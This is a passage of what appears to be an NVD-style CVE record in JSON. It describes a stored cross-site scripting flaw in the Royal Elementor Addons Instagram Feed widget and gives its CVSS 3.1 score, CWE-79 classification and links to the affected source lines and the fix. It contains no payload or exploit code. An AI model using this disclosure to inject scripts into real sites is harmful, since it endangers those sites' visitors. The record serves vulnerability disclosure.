This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Note that exploitation requires that an administrator has previously configured the Instagram Feed widget with a valid Instagram access token on the site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1050/modules/instagram-feed/widgets/wpr-instagram-feed.php#L2181-L2193", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1050/modules/instagram-feed/widgets/wpr-instagram-feed.php#L5528-L5530", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1050/modules/instagram-feed/widgets/wpr-instagram-feed.php#L5623-L5625", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/modules/instagram-feed/widgets/wpr-instagram-feed.php#L2181-L2193", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/modules/instagram-feed/widgets/wpr-instagram-feed.php#L5528-L5530", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/modules/instagram-feed/widgets/wpr-instagram-feed.php#L5623-L5625", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3514368%40royal-elementor-addons%2Ftrunk&old=3503219%40royal-elementor-addons%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ee96d8c5-baf0-4c5c-9ace-e88bbb95ee0a?source=cve", "source": "[email protected]"}]}}
